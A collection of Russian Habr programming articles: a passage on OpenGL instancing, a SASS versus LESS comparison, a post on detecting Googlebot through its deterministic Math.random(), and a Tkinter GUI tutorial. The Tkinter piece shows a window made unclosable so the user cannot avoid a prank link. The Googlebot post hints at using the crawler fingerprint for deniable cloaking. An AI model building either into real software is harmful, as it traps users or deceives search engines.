Для достижения необходимой конфигурации сцены мы создадим уникальную для каждого астероида матрицу трансформации, которая будет использована как модельная матрица при рендере каждого из них. Матрица формируется в несколько этапов. Сперва применяется преобразование переноса, чтобы разместить астероид где-то в пределах кольца. Мы также применяем небольшое случайное смещение, чтобы добавить реалистичности распределению астероидов. Далее добавляется случайное масштабирование и поворот вокруг вектора вращения. В итоге получаем матрицу трансформации, которая размещает каждый астероид где-то в окрестностях планеты, заодно обеспечивая его уникальный вид. А пояс астероидов наполняется кучей непохожих друг на друга глыб камня.
```
unsigned int amount = 1000;
glm::mat4 *modelMatrices;
modelMatrices = new glm::mat4[amount];
srand(glfwGetTime()); // задаем seed для генератора случ. чисел
float radius = 50.0;
float offset = 2.5f;
for(unsigned int i = 0; i < amount; i++)
{
glm::mat4 model(1.0f);
// 1. перенос: расположить вдоль окружности радиусом 'radius'
// и добавить смещение в пределах [-offset, offset]
float angle = (float)i / (float)amount * 360.0f;
float displacement = (rand() % (int)(2 * offset * 100)) / 100.0f - offset;
float x = sin(angle) * radius + displacement;
displacement = (rand() % (int)(2 * offset * 100)) / 100.0f - offset;
// высоту поля держим заметно меньшей, чем размеры в плоскости XZ
float y = displacement * 0.4f;
displacement = (rand() % (int)(2 * offset * 100)) / 100.0f - offset;
float z = cos(angle) * radius + displacement;
model = glm::translate(model, glm::vec3(x, y, z));
// 2. масштабирование: случайное масштабирование в пределах (0.05, 0.25f)
float scale = (rand() % 20) / 100.0f + 0.05;
model = glm::scale(model, glm::vec3(scale));
// 3. поворот: поворот на случайный угол вдоль
float rotAngle = (rand() % 360);
model = glm::rotate(model, rotAngle, glm::vec3(0.4f, 0.6f, 0.8f));
// 4. добавляем в массив матриц
modelMatrices[i] = model;
}
```
Данный фрагмент кода может показаться устрашающим, но здесь мы всего лишь располагаем каждый астероид в плоскости XZ вдоль окружности, определенной радиусом *radius*, а также добавляем небольшое случайное смещение в пределах (-*offset*, *offset*) относительно этой окружности. Координату Y мы меняем в меньшей степени, дабы придать кольцу астеродиов форму, собственно, кольца. Кроме того, применяется масштабирование и поворот, а результат сохраняется в массиве матриц *modelMatrices* объемом amount. В данном примере создается 1000 модельных матриц, по одной на астероид.
После загрузки моделей планеты и астероида, а также компиляции шейдеров можно приступать к коду рендеринга:
```
// рендер планеты
shader.use();
glm::mat4 model(1.0f);
model = glm::translate(model, glm::vec3(0.0f, -3.0f, 0.0f));
model = glm::scale(model, glm::vec3(4.0f, 4.0f, 4.0f));
shader.setMat4("model", model);
planet.Draw(shader);
// рендер метеоритов
for(unsigned int i = 0; i < amount; i++)
{
shader.setMat4("model", modelMatrices[i]);
rock.Draw(shader);
}
```
Сперва мы рисуем модель планеты, которую приходится немного сместить и отмасштабировать, дабы она вписалась в сцену. Затем рендерим астероиды в количестве, равном объёму amount подготовленного массива трансформаций. Перед выводом каждого астероида нам приходится передавать соответствующие данные в юниформ, содержащий модельную матрицу.
Получается картина, напоминающая снимок из космоса, с доволльно правдоподобно выглядящей планетой, окруженной поясом астероидов:
Данная сцена выполняет 1001 вызов функций отрисовки на кадр, 1000 из которых приходится на модель астероида. Исходники находятся [здесь](https://learnopengl.com/code_viewer_gh.php?code=src/4.advanced_opengl/10.2.asteroids/asteroids.cpp).
Если мы начнем повышать количество выведенных астероидов, то быстро заметим, что сцена перестает перерисовываться плавно, а количество кадров в секунду резко падает. Как только мы доходим до попытки вывести 2000 астероидов рендер становится настолько неотзывчивым, что простое перемещение в сцене практически невозможно.
Теперь, попробуем сделать то же самое, но используя инстансинг. Сначала немного подправим вершинный шейдер:
```
#version 330 core
layout (location = 0) in vec3 aPos;
layout (location = 2) in vec2 aTexCoords;
layout (location = 3) in mat4 instanceMatrix;
out vec2 TexCoords;
uniform mat4 projection;
uniform mat4 view;
void main()
{
gl_Position = projection * view * instanceMatrix * vec4(aPos, 1.0);
TexCoords = aTexCoords;
}
```
Более мы не используем юниформ, содержащий модельную матрицу. Вместо этого объявляем новый вершинный атрибут, хранящий матрицы, в котором мы и разместим инстансированный массив матриц трансформации. Стоит отметить, что при задании вершинного атрибута с размером типа, превышающим размер *vec4*, нужно учесть одну особенность. Поскольку *mat4* по сути это четыре связных *vec4*, то для данного атрибута будет зарезервировано целых четыре индекса расположения (*location*) вершинного атрибута. Здесь мы назначили атрибуту индекс размещения равный 3, значит колонки матрицы получать индексы размещения 3, 4, 5 и 6.
В клиентском коде нам придется задать указатели на вершинные атрибуты для каждого из этих неявно заданных индексов расположения. И не забыть инициализировать каждый из них как инстансированный массив:
```
// создаем VBO
unsigned int buffer;
glGenBuffers(1, &buffer);
glBindBuffer(GL_ARRAY_BUFFER, buffer);
glBufferData(GL_ARRAY_BUFFER, amount * sizeof(glm::mat4), &modelMatrices[0], GL_STATIC_DRAW);
for(unsigned int i = 0; i < rock.meshes.size(); i++)
{
unsigned int VAO = rock.meshes[i].VAO;
glBindVertexArray(VAO);
// настройка атрибутов
GLsizei vec4Size = sizeof(glm::vec4);
glEnableVertexAttribArray(3);
glVertexAttribPointer(3, 4, GL_FLOAT, GL_FALSE, 4 * vec4Size, (void*)0);
glEnableVertexAttribArray(4);
glVertexAttribPointer(4, 4, GL_FLOAT, GL_FALSE, 4 * vec4Size, (void*)(vec4Size));
glEnableVertexAttribArray(5);
glVertexAttribPointer(5, 4, GL_FLOAT, GL_FALSE, 4 * vec4Size, (void*)(2 * vec4Size));
glEnableVertexAttribArray(6);
glVertexAttribPointer(6, 4, GL_FLOAT, GL_FALSE, 4 * vec4Size, (void*)(3 * vec4Size));
glVertexAttribDivisor(3, 1);
glVertexAttribDivisor(4, 1);
glVertexAttribDivisor(5, 1);
glVertexAttribDivisor(6, 1);
glBindVertexArray(0);
}
```
Отмечу, что здесь мы немножко схалтурили, объявив *VAO* как публичную, а не приватную переменную класса *Mesh* – это позволило нам упростить доступ к объекту вершинного массива. Пусть не самое изящное и чистое решение, но для нужд простого примера сгодится. Кроме этого небольшого хака остальной код должен быть понятен. Здесь мы просто указываем как OpenGL следует интерпретировать содержимое буфера для каждого элемента вершинного атрибута, представленного матрицей. Также указываем, что каждый из этих атрибутов является инстансированным массивом.
Далее мы снова обращаемся к *VAO* подготовленных моделей и вызываем рендер:
```
// draw meteorites
instanceShader.use();
for(unsigned int i = 0; i < rock.meshes.size(); i++)
{
glBindVertexArray(rock.meshes[i].VAO);
glDrawElementsInstanced(
GL_TRIANGLES, rock.meshes[i].indices.size(), GL_UNSIGNED_INT, 0, amount
);
}
```
Здесь рендер осуществляется с тем же количеством астероидов, что и в прошлом примере, но теперь используется инстансинг. Визуально результат получится схожим. Главное отличие проявится с увеличением количества астероидов. Без инстансинга мы могли выжать из видеокарты плавный рендер в пределах от 1000 до 1500 астероидов. С инстансингом же мы спокойно можем поднять планку до невероятных 100000 астероидов. С учетом, что каждый из них содержит 576 вершин мы получаем приблизительно 57 миллионов обработанных вершин без какого-либо падения производительности!
Данное изображение получено при выводе 100000 астероидов с переменными *radius = 150.0f* и *offset = 25.0f*. Исходный код – [здесь](https://learnopengl.com/code_viewer_gh.php?code=src/4.advanced_opengl/10.3.asteroids_instanced/asteroids_instanced.cpp).
> У всех разные конфигурации рабочих машин, потому предел в 100000 может оказаться несколько оптимистичным. Попробуйте подогнать конкретное число в вашем случае так, чтобы частота кадров оставалась приемлемой.
Как видно, в определенных задачах инстансинг может дать значительный выигрыш в производительности. Именно поэтому, эта техника используется для рендера травы, растений, систем частиц и прочих сцен, похожих на приведенную в уроке – по сути любых таких, где один объект выводится множество раз.
**P.S.**: У нас есть [телеграм-конфа](https://t.me/joinchat/Cpb05A46UPpMWdNVVCb4Vg) для координации переводов. Если есть серьезное желание помогать с переводом, то милости просим! | https://habr.com/ru/post/352962/ | null | ru | null |
# SASS против LESS
«Какой препроцессорный язык стоит использовать для CSS?» является очень актуальным вопросом в последнее время. Несколько раз меня спрашивали об этом лично, и казалось бы, каждые пару дней этот вопрос поднимался в сети. Очень приятно что беседа перешла из темы о плюсах и минусах препроцессинга к обсуждению какой же язык является лучшим. За дело!
Если быть кратким: SASS.
Немного развернутый ответ: SASS лучше по всем пунктам, но если вы уже счастливы с LESS — это круто, по крайней мере вы уже упростили себе жизнь используя препроцессинг.
Развернутый ответ: ниже
##### График обучения с Ruby и командной строкой
Единственным пунктом является синтаксис. Для компиляции созданных вами файлов стоит использовать такое приложение как [CodeKit](http://incident57.com/codekit/). Вы должны знать основы Ruby или командной строки или еще чего-то другого. Наверное вам стоит это знать, но не обязательно, так что это не играет большой роли.
Победитель: нет.
##### В помощь CSS3
С любым из языков вы можете создавать собственные примеси для упрощения жизни с префиксами. Так что здесь нет победителя. Но знаете ли вы как сделать так, чтобы не обновлять эти префиксы во своих своих проектах? (Нет, не знаете). Также вам, скорей всего, не придется обновлять ваш собственный файл с примесями. SASS позволяет использовать [Compass](http://compass-style.org/), благодаря автообновлениям которого вы можете забыть о проблемах с префиксами. Конечно же вы можете обновлять программное обеспечение и время от времени его компилировать, но это тривиальная задача и не стоит на этом зацикливаться.
Так что все это сводится к следующему: **у SASS есть Compass, а у LESS его нет**. На самом деле все немного запутанней. Все попытки создать проект типа Compass для LESS потерпели неудачу. Дело в том, что LESS не является достаточно сильным языком, что бы сделать это корректно. Немного подробней будет ниже.
Победитель: SASS
#### Способности языка: логика/циклы
LESS позволяет создавать «защищенные примеси». Эти примеси вступят в силу только в случае если условие верно. Допустим вы захотите поменять цвет фона, который будет зависеть от текущего цвета текста. Если цвет текста «достаточно светлый» вы, наверное, захотите сделать темный фон. Если же он «достаточно темный» — вы захотите светлый фон. Таким образом у вас получится примесь, разбитая на две части с этими «защитниками», которые гарантируют что только один из них будет исполнен.
**LESS**
```
.set-bg-color (@text-color) when (lightness(@text-color) >= 50%) {
background: black;
}
.set-bg-color (@text-color) when (lightness(@text-color) < 50%) {
background: #ccc;
}
```
После использования вы получите подходящий фон:
**LESS**
```
.box-1 {
color: #BADA55;
.set-bg-color(#BADA55);
}
```
Это очень просто, но суть, надеюсь, понятна. Вы можете делать вещи гораздо круче этого. LESS также позволяет делать ссылающейся на себя рекурсии, примеси которых могут вызывать самих себя с обновленными значениями.
**LESS**
```
.loop (@index) when (@index > 0) {
.myclass {
z-index: @index;
}
// Call itself
.loopingClass(@index - 1);
}
// Stop loop
.loopingClass (0) {}
// Outputs stuff
.loopingClass (10);
```
На этом логика/циклы в LESS и заканчиваются. SASS обладает актуальными логическими и циклическими операторами. if/then/else, цикл for, цикл while и цикл each. Без каких либо трюков, настоящее программирование. SASS является достаточно надежным языком, что делает возможным использование Compass.
Например, у Compass есть примесь `**background**`, которая является настолько мощной, что вы можете положить в нее все что захотите и в итоге получите именно то, что вам нужно. Картинки, градиенты и любая их комбинация, разделенная запятой — и вы получаете нужный результат (включая префиксы и все прочее).
Лаконичный кусок кода:
**SCSS**
```
.bam {
@include background(
image-url("foo.png"),
linear-gradient(top left, #333, #0c0),
radial-gradient(#c00, #fff 100px)
);
}
```
Превращается этот код в монстра ниже (который, к сожалению, нужен в целях кроссбраузерности):
**CSS**
```
.bam {
background: url('/foo.png'), -webkit-gradient(linear, 0% 0%, 100% 100%, color-stop(0%, #333333), color-stop(100%, #00cc00)), -webkit-gradient(radial, 50% 50%, 0, 50% 50%, 100, color-stop(0%, #cc0000), color-stop(100%, #ffffff));
background: url('/foo.png'), -webkit-linear-gradient(top left, #333333, #00cc00), -webkit-radial-gradient(#cc0000, #ffffff 100px);
background: url('/foo.png'), -moz-linear-gradient(top left, #333333, #00cc00), -moz-radial-gradient(#cc0000, #ffffff 100px);
background: url('/foo.png'), -o-linear-gradient(top left, #333333, #00cc00), -o-radial-gradient(#cc0000, #ffffff 100px);
background: url('/foo.png'), -ms-linear-gradient(top left, #333333, #00cc00), -ms-radial-gradient(#cc0000, #ffffff 100px);
background: url('/foo.png'), linear-gradient(top left, #333333, #00cc00), radial-gradient(#cc0000, #ffffff 100px);
}
```
Победитель: SASS
#### Сайты
Сайт LESS более [красив и удобен](http://lesscss.org/). Нельзя сказать что [документация SASS](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html) ужасна, она достаточно хорошо наполнена и вы можете найти в ней все что душа пожелает. Но как показывает практика, фронтенд разработчика привлекает красивый интерфейс, что дает LESS преимущество. Бесспорно, это играет большую роль и LESS выигрывает эту партию. [Хотя все может поменяется](http://twitter.com/TeamSassDesign).
Победитель: LESS
#### @extend концепция
Допустим вы создали класс с неким набором стилей. Затем вам понадобится создать еще один, который будет как предыдущий, но с некими дополнениями. LESS позволяет сделать это так:
**LESS**
```
.module-b {
.module-a(); /* Copies everything from .module-a down here */
border: 1px solid red;
}
```
По сути это обычный «include». Вы также можете использовать эту вставку и в SASS, но лучше это делать используя `**@extend**`. `**@extend**` не просто копирует стили из `**.module-a**` в `**.module-b**` (что производит к раздуванию файла), он меняет название селектора `**.module-a**` на `**.module-a, .module-b**` в скомпилированном CSS (что является более эффективным способом).
**SCSS**
```
.module-a {
/* A bunch of stuff */
}
.module-b {
/* Some unique styling */
@extend .module-a;
}
```
Компилируется в:
**CSS**
```
.module-a, .module-b {
/* A bunch of stuff */
}
.module-b {
/* Some unique styling */
}
```
Вы это видите? SASS переопределяет селекторы, и это более эффективный путь.
Победитель: SASS
#### Обработка переменных
LESS использует @, SASS использует $. Знак доллара не используется в CSS, чего нельзя сказать про @. Он используется для объявления @keyframes или блоков @media. Вы можете считать что использования того или другого спецсимвола это дело вкуса, но я думаю что SASS имеет здесь преимущество именно за счет того, что не путает базовые концепции.
SASS имеет странное свойство — если вы переопределите «глобальную» переменную «локальной», глобальная переменная примет ее значение. Немного странно.
**SCSS**
```
$color: black;
.scoped {
$color: white;
color: $color;
}
.unscoped {
// LESS = black (global)
// SASS = white (overwritten by local)
color: $color;
}
```
Это трюк может быть полезным, но он совсем не интуитивен, особенно если вы пишете на Javascript.
Победитель: надо бросить монетку :)
#### Работа с правилами media
Почти каждый из нас, начиная работать с правилами `**@media**`, добавляет блоки с ними внизу главной страницы стилей. Это работает, но приводит к разъединению стилей, например:
**CSS**
```
.some-class {
/* Default styling */
}
/* Hundreds of lines of CSS */
@media (max-width: 800px) {
.some-class {
/* Responsive styles */
}
}
```
С помощью SASS или LESS вы можете объединить эти стили используя вложения.
**SCSS**
```
.some-class {
/* Default styling */
@media (max-width: 800px) {
/* Responsive styles */
}
}
```
«respond-to» — довольно таки крутая техника SASS (ознакомьтесь с кодом [Chris Eppstein](https://gist.github.com/1215856), [Ben Schwarz](http://theint.ro/blogs/outro/4686992-responsive-design-with-sass), и [Jeff Croft](http://jeffcroft.com/blog/2012/mar/02/implementing-responsive-design/)).
**SCSS**
```
=respond-to($name)
@if $name == small-screen
@media only screen and (min-width: 320px)
@content
@if $name == large-screen
@media only screen and (min-width: 800px)
@content
```
Дальше использовать их можно очень лаконично:
**SCSS**
```
.column
width: 25%
+respond-to(small-screen)
width: 100%
```
Примечание: для использования этой техники вам будет нуже SASS 3.2, который пока находится в альфе, установить его можно командой `**gem install sass --pre**`. Я думаю что тут не должно быть сомнений в том, что это действительно полезная вещь в разработке.
Победитель: SASS
#### Метематика
В основном, математическая часть в обеих языках довольно похожа, но все же есть некоторые странности при обработке единиц измерения.
Например, LESS возьмет за единицу измерения значение первой переменной, игнорируя все остальные.
**LESS**
```
div {
width: 100px + 2em; // == 102px (weird)
}
```
SASS даст вам четко и ясно понять что здесь спряталась ошибка:
`**Incompatible units: 'em' and 'px'**`. Конечно, это спорный вопрос что лучше — ошибка или неверное значение, но лично я — за первое. Особенно если вы отдаете предпочтение переменными вместо использования цифр, это очень сильно затрудняет их отслеживание.
SASS позволяет проводить математические операции с «неизвестными» единицами измерения, которые могут появиться до следующего обновления. LESS этого не позволяет. Есть еще более странные отличия, например, как SASS умножает числа с единицами измерения, но об этом не сегодня.
Победитель: SASS (с натяжкой)
#### Развитие
За время написания статьи…
[Количество открытых вопросов](https://github.com/cloudhead/less.js/issues) LESS: 392
[Количество открытых вопросов](https://github.com/nex3/sass/issues) SASS: 84
[Запросы пула (в ожидании)](https://github.com/cloudhead/less.js/pulls) LESS: 86
[Запросы пула (в ожидании)](https://github.com/nex3/sass/pulls) SASS: 3
[Количество коммитов](https://github.com/cloudhead/less.js/commits/master/) за последний месяц LESS: 11
[Количество коммитов](https://github.com/nex3/sass/commits/stable/) за последний месяц SASS: 35
Ни один из этих пунктов не может твердо определить какой же проект является более активным, но, кажется, цифрам больше нравится SASS. Насколько я понял, главные разработчики обеих языков, продолжают работать над этими проектами, как только у них появляется немного свободного времени между разработкой других новых, не менее важных проектов.
Победитель: наверное SASS
#### Почитать
* Chris Eppstein: [SASS/LESS Comparison](https://gist.github.com/674726)
* Jeremy Hixon: [An Introduction To LESS, And Comparison To Sass](http://coding.smashingmagazine.com/2011/09/09/an-introduction-to-less-and-comparison-to-sass/)
* Ken Collins: [Too LESS? Should You Be Using Sass?](http://metaskills.net/2012/02/27/too-less-should-you-be-using-sass/)
* Johnathan Croom: [Sass vs. LESS vs. Stylus: Preprocessor Shootout](http://net.tutsplus.com/tutorials/html-css-techniques/sass-vs-less-vs-stylus-a-preprocessor-shootout/) | https://habr.com/ru/post/144309/ | null | ru | null |
# Функция random() у гуглобота работает абсолютно детерминированно
Я проводил некоторые эксперименты, как Googlebot разбирает и рендерит JavaScript, и наткнулся на несколько интересных вещей. Первое — то, что функция `Math.random()` в Googlebot выдаёт полностью детерминированные серии чисел. Я написал маленький скрипт, который использует этот баг для точной идентификации гуглобота:
*[Источник](http://www.tomanthony.co.uk/fun/googlebot_puzzle.html)*
При первом вызове `Math.random()` из гуглобота результат всегда будет `0,14881141134537756`, второй вызов всегда вернёт `0,19426893815398216`. Скрипт по ссылке выше просто использует эту информацию для идентификации бота Google, хотя немножко обфусцирует свои действия, чтобы они не выглядели слишком произвольными.
Краулинг в масштабе Google
==========================
Представьте объём работы, которую необходимо выполнить Google, чтобы обойти весь веб, да при этом ещё выполнить все скрипты. Здесь не обойтись без обильных оптимизаций, и я полагаю, что детерминированные случайные числа реализованы по следующим причинам::
1. Скорость.
2. Лучшая безопасность.
3. Предсказуемость — гуглобот может быть уверен, что страница отобразится одинаково при каждом визите.
### Ускорение времени…
Googlebot также запускает JavaScript с ускоренными часами, что вполне логично. Зачем реально ждать 5 секунд, если ты бот? Так что Google на самом деле запускает таймер в гораздо более быстром темпе. Если создать простой скрипт с тикером и запустить функцию Fetch & Render в консоли Google Search Console, то скрипт выполнится практически мгновенно, но результат будет выглядеть так:
Вторая дата — это дата из будущего! Марти Макфлай мог бы гордиться.
Когда это началось?
===================
Мне стало интересно, обновляется ли генератор «случайных» чисел у Google, но поиск числа `0,14881141134537756` вернул более 18 000 результатов, так что константа кажется довольно стабильной. Обнаружив это, я погуглил ещё немного и нашёл [старый комментарий на Hacker News](https://news.ycombinator.com/item?id=9529782) от пользователя KMag:
> *В какой-то момент кто-то из SEO выяснил, что random() всегда возвращает 0,5. Не уверен, что кто-нибудь понял, что JavaScript всегда при этом видел какую-то дату из лета 2006 года, но предполагаю, что ситуация изменилась.*
Похоже на то, что ситуация сохраняется в течение долгого времени, но раньше `random()` всегда возвращал `0,5`, а сейчас выдаёт детерминированные серии чисел. Дата действительно вначале установлена точно, но затем может идти в будущее. KMag дальше сказал:
> *Надеюсь, что теперь они установали случайное начальное число и дату, используя криптографический хэш всех загруженных скриптов и текста страницы, так что он будет детерминированным, но им будет сложно манипулировать.*
Кажется, этого не произошло. Но я не уверен, что таким образом можно сделать многое из того, что вы не можете сделать с помощью юзер-агента и IP. Но может быть такой способ позволит сделать нечто, правдоподобно отрицая свою вину! | https://habr.com/ru/post/348914/ | null | ru | null |
# Tkinter, раскрытие потенциала. + Игра на рабочем столе
Tkinter - это та библиотека, с которой на начальных этапах изучения языка python знакомились все, но обходили стороной по разным причинам. Сейчас я предлагаю вернуться назад, немного поностальгировать и открыть для себя в разы больше фич библиотеки.
ВАЖНО! Tkinter - не лучшее решение для создания больших приложений. И по большей части эта статья нацелена на начинающих программистов, которые уже имеют представление о библиотеке и хотят рыть дальше.
Если вы плохо знакомы с Tkinter, [вот прекрасный курс, рекомендую](https://younglinux.info/tkinter/tkinter) >>>
Улучшаем кнопки tkinter.Button
------------------------------
Пройдёмся по параметры кнопок, которые нам пригодятся:
* bg - фон кнопки (background color)
* fg - цвет текста кнопки (foreground color)
* bd - ширина обводи
* text - сам текст
* command - функция исполняющаяся при нажатии
* font - шрифт
* relief - стиль обводки (tk.GROOVE , tk.SUNKEN , tk.RAISED , tk.RIDGE , tk.FLAT)
* state - состояние кнопки (tk.ACTIVE , tk.DISABLED)
* underline - подчёркнутый символ текста (>-1)
* padx , pady - отступы по горизонтали , вертикали
* width , height - ширина , высота (!В СТРОЧКАХ)
* activebackground - фон кнопки при активации
* activeforeground - цвет текста кнопки при активации
* cursor - курсор (<https://docs.huihoo.com/tkinter/tkinter-reference-a-gui-for-python/cursors.html>)
Предлагаю сделать "кнопку ссылку", которая при нажатии будет перекидывать нас на какой-нибудь сайт. Библиотека webbrowser - встроенная, её не нужно устанавливать.
```
import tkinter as tk
import webbrowser
FORM = tk.Tk() # Создаём окно
FORM .geometry('500x500') # Задаём размер
def link(e = None): # !ОБРАТИТЕ ВНИМАНИЕ на e = None
webbrowser.open('https://www.youtube.com/watch?v=dQw4w9WgXcQ') # Открываем браузер
button = tk.Button(FORM,command = link,padx = 5,pady = 5,text = 'Link',bd = 0, fg = '#fff', bg = '#08f',underline = 0 , activebackground = '#fff', activeforeground = '#fff',cursor = 'hand2') # Инициализация кнопки
button.pack(expand = 1) # Размещение кнопки по центру окна
# Сюда мы ещё добавим код
FORM.mainloop()
```
Выглядит уже неплохо. Предлагаю добавить смену цвета кнопки при наведении курсором мыши.
```
def focus_in(e = None):
button.configure(fg = '#08f') # Задаём кнопке нужные цвета
button.configure(bg = '#fff')
def focus_out(e = None):
button.configure(bg = '#08f')
button.configure(fg = '#fff')
button.bind('', focus\_in) # При входе курсора в область кнопки выполняем focus\_in
button.bind('', focus\_out) # При выходе курсора из области кнопки выполняем focus\_out\_out
```
Улучшаем окно программы
-----------------------
Начнём с добавления переключения на полноэкранного режима (верхней панели окна не видно) по клавише F11:
```
def fullscreen(e = None):
if FORM.attributes('-fullscreen'): # Проверяем режим окна
FORM.attributes('-fullscreen',False) # Меняем режим окна
else:
FORM.attributes('-fullscreen',True) # Меняем режим окна
FORM.bind('',fullscreen) # Биндим окно
```
Теперь нужно сделать так, что бы пользователь не мог не нажать на ту самую ссылку. Давайте сделаем выход из приложения невозможным (возможным только через диспетчер задач (ctrl+shift+esc)).
```
def on_close(e = None):
pass # Мы просто ничего не делаем
# Может быть любой код
# Можно так же спрашивать пользователя ВЫ ТОЧНО ХОТИТЕ ЗАКРЫТЬ ОКНО ?
FORM.protocol("WM_DELETE_WINDOW", on_close) # Перехватываем событие выхода из приложения
```
Реализуем ка мы также и "приоритетный" режим, окно будет отображаться поверх остальных. Здесь я рекомендую использовать библиотеку keyboard (pip install keyboard), так как bind tkintera работает только если окно находиться в фокусе. Keyboard же никак не зависит от tkintera и расположения окон.
```
def topmost(e = None):
if FORM.attributes('-topmost'): # Проверяем режим окна
FORM.attributes('-topmost',False)# Меняем режим окна
else:
FORM.attributes('-topmost',True)# Меняем режим окна
keyboard.add_hotkey('ctrl+1',topmost) # Привязываем событие к функции
```
Проблема окон, которые находятся поверх всех - что бы что-то под ними увидеть, нужно их передвигать, а это иногда бывает не удобно. Да бы избежать неудобств пользователя, мы можем добавить окну 50% прозрачности. Когда пользователь наводит курсор на окно, оно становится непрозрачным.
```
FORM.attributes('-alpha',0.5) # Задаём изначальное значение прозрачности
def form_focus_in(e = None):
FORM.attributes('-alpha',1)
def form_focus_out(e = None):
FORM.attributes('-alpha',0.5)
FORM.bind('', form\_focus\_in) # При входе курсора в область окна выполняем form\_focus\_in
FORM.bind('', form\_focus\_out)# При входе курсора в область окна выполняем form\_focus\_out
```
Поэкспериментировав с выше показанным, я думаю, вы в скором времени зададитесь вопросом "Можно ли убрать верхнюю панель у окна ?". Да, можно, но вам придётся самостоятельно реализовывать передвижение и если хотите, изменение размеров окна. Плюсы своего окна начинаются и заканчиваются том, что вы полностью контролируете внешний вид и логику окна. Также есть огромный минус - пока окно открыто, оно не отображается в панели задач, по этому ему желательно давать приоритетный режим, что бы пользователь не потерял окно под другими.
```
from tkinter import *
# Объявляем основные цвета
BGCL = '#000000'
CANCELCL = '#800000'
CANCELHOVCL = '#400000'
INFOCL = '#000080'
INFOHOVCL = '#000040'
BARCL = '#004000'
# Если число больше min, возвращает minrep, если число больше max, возвращает maxrep
def barrier(val,min = 0, max = None,minrep = None,maxrep = None):
if minrep is None:minrep = min
if maxrep is None: maxrep = max
if not min is None and val < min:return minrep
elif not max is None and val > max: return maxrep
else:return val
# Просто пустая функция
def empty(*args,**kwargs):pass
# Класс усовершенстованого окна
class Form(Tk):
def __init__(self,resizeable = True,exitfunc = empty,onresizefunc = empty):
Tk.__init__(self)
self['bg'] = BGCL
self.resizeable = resizeable
self.exitfunc = exitfunc
self.onresizefunc = onresizefunc
self.overrideredirect(True) # убираем у окна панельку
self.wm_attributes('-topmost',True) # приоритетный режим
self.bar = Frame(self,bg = BARCL) # Создаём свою панельку, как отдельный виджет
self.bar.place(x = 0 ,y = 0,relwidth = 1,height = 24)
self.closebtn = Button(self,bg = CANCELCL,fg = BGCL,relief = FLAT,command = self.Exit,bd=0,activebackground = BGCL)
self.closebtn.place(width =24,height = 24,x = self.winfo_reqwidth()-24)
self.wrapbtn = Button(self,bg = INFOCL,fg = BGCL,relief = FLAT,command = self.Wrap,bd=0,activebackground = BGCL)
self.wrapbtn.place(width =24,height = 24,x = self.winfo_reqwidth()-48)
# Здесь биндятся функции, передвигающие окно
self.bar.bind("", self.StartMove)
self.bar.bind("", self.StopMove)
self.bar.bind("", self.OnMotion)
# Обеспечиваем hover эффект кнопкам на нашей панельке
self.closebtn.bind("",self.\_\_closebtne)
self.closebtn.bind("",self.\_\_closebtnl)
self.wrapbtn.bind("",self.\_\_wrapbtne)
self.wrapbtn.bind("",self.\_\_wrapbtnl)
# Запоминаем ширину и высоту окна
self.width = self.winfo\_reqwidth()
self.height = self.winfo\_reqheight()
# В этом framе создавайте новые виджеты
self.content = Frame(self,bg = BGCL,highlightthickness = 0)
self.content.place(x=0,y = 24, width = self.width,height = self.height-24)
if resizeable:
# создаём кнопку изменения размера
self.resizebtn = Button(self,bg = BARCL,fg = BGCL,relief = FLAT,bd=0,activebackground = BGCL,text = '=',font = ('Fixedsys',11),cursor = 'tcross')
self.resizebtn.place(width =12,height = 12,x = self.winfo\_reqwidth()-12,y = self.winfo\_reqheight()-12)
# Её hover эффект
self.resizebtn.bind("",self.\_\_resizebtne)
self.resizebtn.bind("",self.\_\_resizebtnl)
# Здесь биндятся функции, меняющие размер окна
self.resizebtn.bind("", self.StartResize)
self.resizebtn.bind("", self.StopResize)
self.resizebtn.bind("", self.OnResize)
# Событие развёртывания окна (Редкое)
self.bind('',self.Show)
# функции hover эффектов
def \_\_closebtne(self,event = None):
self.closebtn['bg'] = CANCELHOVCL
def \_\_closebtnl(self,event = None):
self.closebtn['bg'] = CANCELCL
def \_\_resizebtne(self,event = None):
self.resizebtn['bg'] = BGCL
self.resizebtn['fg'] = BARCL
def \_\_resizebtnl(self,event = None):
self.resizebtn['bg'] = BARCL
self.resizebtn['fg'] = BGCL
def \_\_wrapbtne(self,event = None):
self.wrapbtn['bg'] = INFOHOVCL
def \_\_wrapbtnl(self,event = None):
self.wrapbtn['bg'] = INFOCL
# Передвижение окна
def StartMove(self, event = None):
self.dragx = event.x
self.dragy = event.y
def StopMove(self, event = None):
self.dragx = None
self.dragy = None
def OnMotion(self, event = None):
deltax = event.x - self.dragx
deltay = event.y - self.dragy
x = self.winfo\_x() + deltax
y = self.winfo\_y() + deltay
self.geometry("+%s+%s" % (x, y))
# Изменение размера окна
def StartResize(self, event = None):
self.resizex = event.x
self.resizey = event.y
def StopResize(self, event = None):
self.resizex = None
self.resizey = None
def OnResize(self, event = None):
deltax = event.x - self.resizex
deltay = event.y - self.resizey
x = self.width + deltax
y = self.height + deltay
self.width =barrier(x,min=self.minsize()[0])
self.height = barrier(y,min=self.minsize()[1])
self.geometry("%sx%s" % (self.width,self.height))
self.Resize()
# Функция вызывается после изменения размера, что бы заного разместить все кнопки.
def Resize(self,event = None):
# onresizefunc - вы можете передать функцию при инициализации, она будет выполнятся здесь
self.onresizefunc(self.width,self.height)
if self.resizeable: self.resizebtn.place\_configure(x = self.width-12,y = self.height-12)
self.closebtn.place\_configure(y=0,x = self.width-24)
self.wrapbtn.place\_configure(y=0,x = self.width-48)
self.content.place\_configure(width = self.width,height = self.height-24)
# Выполняется после нажатия красной кнопки
def Exit(self,event = None):
# exitfunc - вы можете передать функцию при инициализации, она будет выполнятся здесь
self.exitfunc()
self.destroy()
# Сворачивает окно
def Wrap(self,event = None):
self.withdraw() # скрытие окна
self.overrideredirect(False) # возвращаем ему панельку
self.wm\_state('iconic') # сворачиваем
def Show(self,event = None):
# Окно уже развёрнуто
self.overrideredirect(True) #Просто обратно забираем панельку
FORM = Form() # Создаём объект Form (изменённый Tk)
FORM.minsize(200,200) #Задаём минимальный размер
FORM.mainloop()
```
Вкратце опишу произошедшее выше. Мы создаём класс Form на основе класса Tk, то есть Form это модифицированный Tk. При инициализации объекта мы добавляем ему кнопки закрытия, сворачивания, изменения размера и два фрейма, панелька и контент. Делаем ховер эффект для каждой кнопки. Дальше реализуем перемещение окна. По нажатию на клавишу мыши координаты сохраняются, затем по мере движения мыши в соответствии с сохранёнными координатами меняется положение окна. С изменениями размера система та же, но при изменениях размера меняется также положение кнопок и. т. п.
